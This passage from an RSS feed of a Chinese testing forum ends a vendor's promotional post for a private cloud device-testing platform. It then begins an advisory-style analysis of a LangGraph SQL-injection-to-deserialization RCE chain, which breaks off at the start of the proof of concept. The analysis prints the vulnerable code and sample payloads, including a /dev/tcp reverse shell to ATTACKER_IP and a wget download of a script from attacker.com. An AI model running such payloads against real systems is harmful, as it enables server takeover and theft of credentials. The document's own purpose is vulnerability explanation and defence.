&lt;p&gt;这四类内耗叠在一起，最终就是：&lt;strong&gt;人力越投越多，效率越提越慢。&lt;/strong&gt;&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="二、破局思路：不是买更多设备，而是让现有设备"&gt;二、破局思路：不是买更多设备，而是让现有设备"活"起来&lt;/h2&gt;
&lt;p&gt;核心思路其实不复杂——把分散的真机资源&lt;strong&gt;集中化、线上化、系统化&lt;/strong&gt;，让设备管理从"靠人沟通"转向"靠平台管控"。&lt;/p&gt;

&lt;p&gt;这就是&lt;strong&gt;私有化云真机&lt;/strong&gt;的出发点。简单说，就是把自有真机接入统一设备池，测试人员通过云端完成远程操控、批量执行、日志采集与全生命周期管理。&lt;/p&gt;

&lt;p&gt;最近关注到一个新发布的产品——跬步技术的&lt;strong&gt;无缺灵触™&lt;/strong&gt;（企业级私有云真机管理平台），针对上述痛点做了几个测试同学会比较关心的点：&lt;/p&gt;
&lt;h3 id="毫秒级触控，远程操控手感媲美本地"&gt;毫秒级触控，远程操控手感媲美本地&lt;/h3&gt;
&lt;p&gt;优化了触控传输链路，毫秒级响应，支持多指触控、滑动拖拽。还支持&lt;strong&gt;单机/多机双操控模式&lt;/strong&gt;：一个操作同步广播到多台设备，兼容性测试、版本回归、渠道包验证效率直接拉满。&lt;/p&gt;
&lt;h3 id="鸿蒙、安卓、iOS全覆盖"&gt;鸿蒙、安卓、iOS 全覆盖&lt;/h3&gt;
&lt;p&gt;全面覆盖&lt;strong&gt;HarmonyOS NEXT（纯血鸿蒙）、Android、iOS&lt;/strong&gt;三大系统，适配主流品牌多版本机型。深度适配信创服务器、操作系统与中间件，无缝融入企业国产化基础设施。&lt;/p&gt;

&lt;p&gt;鸿蒙这块现在需求量很大，很多团队都在找方案。&lt;/p&gt;
&lt;h3 id="私有化部署，数据100%不出域"&gt;私有化部署，数据 100% 不出域&lt;/h3&gt;
&lt;p&gt;全量私有化部署，测试数据、日志、截图、录屏全部留存企业本地内网。依托 ISO 9001/20000/27001 三大认证，支持权限分级、操作全程审计。&lt;/p&gt;
&lt;h3 id="全生命周期管控，告别Excel盘点"&gt;全生命周期管控，告别 Excel 盘点&lt;/h3&gt;
&lt;p&gt;从设备上架、预约调度、状态监控到运维维修、流转追溯，全流程线上化。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="三、实际效果"&gt;三、实际效果&lt;/h2&gt;
&lt;p&gt;不玩虚的，上数据：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;指标&lt;/th&gt;
&lt;th&gt;效果&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;测试效率提升&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3-5 倍&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;设备利用率提升&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;40%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;综合测试成本降低&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;25%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;目前已在金融、游戏、汽车、智能制造等行业落地，服务了 500+ 企业客户。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="四、想聊聊几个话题"&gt;四、想聊聊几个话题&lt;/h2&gt;
&lt;p&gt;发这个帖不只是介绍产品，更想听听测试之家同学们的真实声音：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;你们团队真机管理现在是什么模式？&lt;/strong&gt; Excel？自研工具？还是公有云真机？&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;远程真机操控的延迟&lt;/strong&gt;，大家能接受的阈值是多少？毫秒级你们觉得够用吗？&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;鸿蒙适配&lt;/strong&gt;这块，有多少团队已经在做了？碰到了什么坑？&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;私有化 vs 公有云真机&lt;/strong&gt;，你们怎么选？什么场景下必须私有化？&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;欢迎在评论区交流，也欢迎拍砖。如果是纯技术讨论，我们可以深入聊远程触控传输优化、设备调度策略这些细节。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;&lt;strong&gt;关于跬步技术&lt;/strong&gt;：成立于 2014 年，江苏省省级专精特新中小企业、国家高新技术企业，深耕企业级测试领域，已服务 500+ 企业客户。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;&lt;em&gt;以上内容由跬步技术团队分享，如涉及产品信息有疑问欢迎跟帖讨论。&lt;/em&gt;&lt;/p&gt;</description>
      <author>suprall</author>
      <pubDate>Tue, 11 Aug 2026 17:05:38 +0800</pubDate>
      <link>https://testerhome.com/topics/44608</link>
      <guid>https://testerhome.com/topics/44608</guid>
    </item>
    <item>
      <title>CVE-2025-67644 &amp; CVE-2025-64439 | LangGraph SQL 注入→反序列化 RCE 链：当 AI Agent 的状态持久层变成武器</title>
      <description>&lt;p&gt;⚠️ &lt;strong&gt;免责声明：&lt;/strong&gt; 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于概念验证思路，不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;漏洞等级：&lt;/strong&gt; CVSS 7.3 / 7.4（组合利用可升级为严重）&lt;br&gt;
&lt;strong&gt;影响版本：&lt;/strong&gt; langgraph‑checkpoint‑sqlite &amp;lt; 3.0.1，langgraph &amp;lt; 1.0.10&lt;br&gt;
&lt;strong&gt;漏洞类型：&lt;/strong&gt; SQL 注入 + 反序列化远程代码执行（RCE）&lt;br&gt;
&lt;strong&gt;CVE 编号：&lt;/strong&gt; CVE‑2025‑67644（SQL 注入）、CVE‑2025‑64439（反序列化 RCE）、CVE‑2026‑28277（补充编号）&lt;br&gt;
&lt;strong&gt;影响范围：&lt;/strong&gt; 所有使用 SQLite 或 Redis checkpoint 后端的自托管 LangGraph 实例&lt;br&gt;
&lt;strong&gt;当前状态：&lt;/strong&gt; ✅ 已修复（langgraph‑checkpoint‑sqlite ≥ 3.0.1，langgraph ≥ 1.0.10）&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="一、漏洞背景"&gt;一、漏洞背景&lt;/h2&gt;&lt;h3 id="1.1 LangGraph是什么"&gt;1.1 LangGraph 是什么&lt;/h3&gt;
&lt;p&gt;LangGraph 是由 LangChain 团队开发的开源 AI Agent 编排框架，月下载量约 4650-5000 万次，是当前 Python 生态中使用最广泛的 Agent 工作流引擎之一。&lt;/p&gt;

&lt;p&gt;与简单的 LLM 调用链不同，LangGraph 专注于构建&lt;strong&gt;有状态、多步骤、多 Actor&lt;/strong&gt;的 AI Agent 系统。它的核心设计理念是将 Agent 执行过程建模为一张有向图（Graph），每个节点是一个处理步骤，每条边定义了步骤间的流转逻辑。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心组件——Checkpointer（检查点持久化层）：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;LangGraph 区别于普通 LLM 链的关键特性是&lt;strong&gt;状态持久化&lt;/strong&gt;。Agent 运行过程中的对话历史、工具调用结果、中间推理步骤，全部通过 checkpointer 组件存储到后端数据库。这使得 Agent 可以"记住"之前的执行状态，支持暂停 - 恢复、时间旅行（回退到任意历史状态）、人机协作等高级能力。&lt;/p&gt;

&lt;p&gt;LangGraph 支持多种 checkpoint 后端：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;后端&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;th&gt;部署模式&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQLite&lt;/td&gt;
&lt;td&gt;本地开发、轻量部署&lt;/td&gt;
&lt;td&gt;单文件数据库，开发环境常用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Redis&lt;/td&gt;
&lt;td&gt;分布式、高性能&lt;/td&gt;
&lt;td&gt;适合生产环境的内存存储&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;企业级生产环境&lt;/td&gt;
&lt;td&gt;LangSmith 托管平台使用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; &lt;h3 id="1.2 漏洞发现与披露时间线"&gt;1.2 漏洞发现与披露时间线&lt;/h3&gt; &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;时间&lt;/th&gt;
&lt;th&gt;事件&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025-11&lt;/td&gt;
&lt;td&gt;Check Point Research 研究员 Yarden Porat 同时发现三个漏洞，披露给 LangChain 团队&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025-12&lt;/td&gt;
&lt;td&gt;修复版本陆续开始发布&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-03&lt;/td&gt;
&lt;td&gt;langgraph-checkpoint-redis 1.0.2 发布，修复最后一个漏洞&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-06-11&lt;/td&gt;
&lt;td&gt;Check Point Research 公开发表研究报告，完整披露攻击链&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; &lt;h3 id="1.3 漏洞概述"&gt;1.3 漏洞概述&lt;/h3&gt;
&lt;p&gt;这不是一个漏洞，而是&lt;strong&gt;一条完整的攻击链&lt;/strong&gt;——两个独立漏洞的组合，形成了一条从 SQL 注入到远程代码执行的致命通路：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2025-67644&lt;/strong&gt;（CVSS 7.3）：SQLite checkpoint 层的 SQL 注入漏洞，允许攻击者在查询结果中插入伪造数据&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2025-64439&lt;/strong&gt;（CVSS 7.4）：msgpack 反序列化层的远程代码执行漏洞，允许通过精心构造的序列化数据执行任意 Python 代码&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;单独来看，每个漏洞都是"中等严重"。但组合在一起，它们形成了一条完整的 RCE 链——攻击者可以通过一个 SQL 注入点，将恶意序列化 payload 注入到 checkpoint 数据中，然后在 LangGraph 加载该 checkpoint 时触发任意代码执行。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;此外还涉及一个 Redis checkpoint 注入漏洞（CVE-2026-27022，CVSS 6.5），可绕过访问控制。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="二、漏洞原理与复现"&gt;二、漏洞原理与复现&lt;/h2&gt;&lt;h3 id="2.1 漏洞一：SQL注入（CVE-2025-67644）"&gt;2.1 漏洞一：SQL 注入（CVE-2025-67644）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;位置：&lt;/strong&gt; &lt;code&gt;langgraph-checkpoint-sqlite&lt;/code&gt; 包中的 &lt;code&gt;SQLiteSaver.metadata_predicate()&lt;/code&gt; 函数&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;根因：&lt;/strong&gt; &lt;code&gt;query_key&lt;/code&gt; 通过 Python f-string 直接拼接进 SQL WHERE 子句，没有使用参数化查询。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;问题代码：&lt;/strong&gt;&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# metadata_predicate() 函数中的关键代码
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;metadata_predicate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;query_key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;operator&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# ❌ 危险：query_key 通过 f-string 直接拼入 SQL
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"json_extract(CAST(metadata AS TEXT), '$.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;query_key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;') &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;operator&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;调用链：&lt;/strong&gt;&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# get_state_history() 和 list() 方法接受 filter 参数
# filter 中的 key 直接传入 metadata_predicate()
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_state_history&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RunnableConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;  &lt;span class="c1"&gt;# ← 用户可控
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Iterator&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CheckpointTuple&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;query_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="c1"&gt;# query_key 未经任何过滤或转义
&lt;/span&gt;            &lt;span class="n"&gt;predicate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;metadata_predicate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;operator&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="c1"&gt;# 拼入 SQL WHERE 子句 → SQL注入
&lt;/span&gt;            &lt;span class="n"&gt;where_clause&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;" AND &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;predicate&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;攻击入口：&lt;/strong&gt; &lt;code&gt;get_state_history()&lt;/code&gt; 或 &lt;code&gt;list()&lt;/code&gt; 方法的 &lt;code&gt;filter&lt;/code&gt; 参数。如果应用层暴露了这个接口且 &lt;code&gt;filter&lt;/code&gt; 的 key 来自用户输入，攻击者就可以注入任意 SQL 片段。&lt;/p&gt;
&lt;h3 id="2.2 漏洞二：反序列化RCE（CVE-2025-64439）"&gt;2.2 漏洞二：反序列化 RCE（CVE-2025-64439）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;位置：&lt;/strong&gt; LangGraph 的 &lt;code&gt;JsonPlusSerializer&lt;/code&gt; 组件，具体在 msgpack checkpoint 解码器中&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;根因：&lt;/strong&gt; 反序列化 extension types 时，使用了危险的 &lt;code&gt;getattr(importlib.import_module(module_name), callable_name)(arguments)&lt;/code&gt; 模式，允许调用任意 Python callable。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;问题代码（简化）：&lt;/strong&gt;&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# JsonPlusSerializer 中的 msgpack 反序列化逻辑
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_decode_ext_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;module_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# 从序列化数据中提取模块名
&lt;/span&gt;    &lt;span class="n"&gt;callable_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_callable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 从序列化数据中提取可调用对象名
&lt;/span&gt;    &lt;span class="n"&gt;arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_args&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="c1"&gt;# 从序列化数据中提取参数
&lt;/span&gt;
    &lt;span class="c1"&gt;# ❌ 致命：动态加载任意模块的任意函数并执行
&lt;/span&gt;    &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;importlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;import_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;callable_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# ← RCE入口
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;攻击者可以构造恶意 msgpack payload，使反序列化时执行：&lt;/strong&gt;&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 等价于攻击者构造的 payload 被解码为：
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/4444 0&amp;gt;&amp;amp;1'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 或者
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt;
&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s"&gt;"wget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"http://attacker.com/malware.sh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-O"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"bash"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;本质：&lt;/strong&gt; 这等同于 Python 版的 &lt;code&gt;pickle.loads()&lt;/code&gt; 反序列化漏洞——任何允许攻击者控制反序列化输入的系统，都等价于允许远程代码执行。&lt;/p&gt;
&lt;h3 id="2.3 数据流向（安全分析视角）"&gt;2.3 数据流向（安全分析视角）&lt;/h3&gt; &lt;pre class="highlight plaintext"&gt;&lt;code&gt;阶段1：SQL注入 → 植入恶意checkpoint
  用户可控的 filter 参数
       ↓
  metadata_predicate()  [无参数化查询，f-string拼接]
       ↓
  SQLite WHERE 子句  [UNION SELECT 注入伪造行]
       ↓
  伪造的 checkpoint 行（含恶意 msgpack payload）
       ↓
  查询结果返回给 LangGraph

阶段2：反序列化 → 触发RCE
  LangGraph 加载 checkpoint
       ↓
  msgpack 解码器  [JsonPlusSerializer]
       ↓
  importlib.import_module() + getattr()  [动态调用任意callable]
       ↓
  os.system("恶意命令")  [RCE达成]
       ↓
  服务器完全失陷
&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;核心问题：两个组件各自都有安全缺陷，单独存在时风险有限，但组合在一起形成了一条从"数据注入"到"代码执行"的完整攻击路径。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="三、攻击流程介绍"&gt;三、攻击流程介绍&lt;/h2&gt;&lt;h3 id="3.1 漏洞利用前提"&gt;3.1 漏洞利用前提&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;LangGraph 实例使用 &lt;strong&gt;SQLite checkpoint 后端&lt;/strong&gt;（或 Redis 后端，对应 CVE-2026-27022）&lt;/li&gt;
&lt;li&gt;应用暴露了 &lt;code&gt;get_state_history()&lt;/code&gt; 或 &lt;code&gt;list()&lt;/code&gt; 接口，且 &lt;strong&gt;filter 参数可由用户控制&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;受影响版本未打补丁&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;⚠️ &lt;strong&gt;重要说明：&lt;/strong&gt; LangChain 官方托管平台（LangSmith Deployment）使用 PostgreSQL 后端，&lt;strong&gt;不受本次漏洞影响&lt;/strong&gt;。受影响的主要是自托管部署中使用 SQLite 或 Redis 的实例。&lt;/p&gt;
&lt;h3 id="3.2 利用路径总览"&gt;3.2 利用路径总览&lt;/h3&gt; &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;步骤&lt;/th&gt;
&lt;th&gt;攻击阶段&lt;/th&gt;
&lt;th&gt;揭示的风险&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Step 1&lt;/td&gt;
&lt;td&gt;SQL 注入探测&lt;/td&gt;
&lt;td&gt;确认 filter 参数可注入，checkpoint 数据库可被操纵&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Step 2&lt;/td&gt;
&lt;td&gt;注入伪造 checkpoint&lt;/td&gt;
&lt;td&gt;通过 UNION SELECT 在查询结果中插入恶意序列化数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Step 3&lt;/td&gt;
&lt;td&gt;触发反序列化&lt;/td&gt;
&lt;td&gt;LangGraph 加载伪造 checkpoint，触发 msgpack 解码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Step 4&lt;/td&gt;
&lt;td&gt;RCE 达成&lt;/td&gt;
&lt;td&gt;任意代码执行，服务器完全控制&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; &lt;h3 id="3.3 漏洞利用链路示意"&gt;3.3 漏洞利用链路示意&lt;/h3&gt; &lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────┐
│     攻击者                    │
│  构造恶意 filter 参数         │
└───────────┬──────────────────┘
            │ Step 1: SQL注入
            ▼
┌──────────────────────────────┐
│   LangGraph 应用层            │
│   get_state_history(filter)  │
│   filter 参数未做净化          │
└───────────┬──────────────────┘
            │ Step 1→2: f-string拼入SQL
            ▼
┌──────────────────────────────┐
│   SQLite Checkpoint 数据库    │
│   UNION SELECT 注入伪造行     │
│   checkpoint列 = 恶意msgpack  │
└───────────┬──────────────────┘
            │ Step 3: 返回伪造checkpoint
            ▼
┌──────────────────────────────┐
│   JsonPlusSerializer          │
│   msgpack 反序列化             │
│   importlib + getattr 调用     │
└───────────┬──────────────────┘
            │ Step 4: RCE
            ▼
┌──────────────────────────────┐
│   💀 服务器完全控制            │
│   - LLM API Keys 泄露        │
│   - 完整对话历史暴露           │
│   - 连接的数据系统可访问       │
│   - 内网横向移动跳板           │
└──────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt; 
&lt;hr&gt;
&lt;h2 id="四、模拟复现"&gt;四、模拟复现&lt;/h2&gt;
&lt;p&gt;以下为基于&lt;strong&gt;Check Point Research 公开报告&lt;/strong&gt;中的 PoC 思路，给出的概念验证教学示意。所有代码仅为理解漏洞原理，不构成直接可用的攻击工具。请仅在自己的测试环境中验证。&lt;/p&gt;
&lt;h3 id="环境准备"&gt;环境准备&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;测试环境：本地部署的 LangGraph 应用，使用 SQLite checkpoint 后端&lt;/li&gt;
&lt;li&gt;受影响版本：&lt;code&gt;langgraph-checkpoint-sqlite &amp;lt; 3.0.1&lt;/code&gt;，&lt;code&gt;langgraph &amp;lt; 1.0.10&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Python 3.10+&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="Step 1：SQL注入——植入伪造Checkpoint"&gt;Step 1：SQL 注入——植入伪造 Checkpoint&lt;/h3&gt;
&lt;p&gt;攻击者通过 &lt;code&gt;get_state_history()&lt;/code&gt; 的 filter 参数注入恶意 SQL：&lt;/p&gt;
 &lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 概念验证：SQL注入构造（教学示意，非可直接运行）
# 正常调用：
# graph.get_state_history(filter={"user_id": "alice"})
#
# 攻击者构造的恶意 filter key：
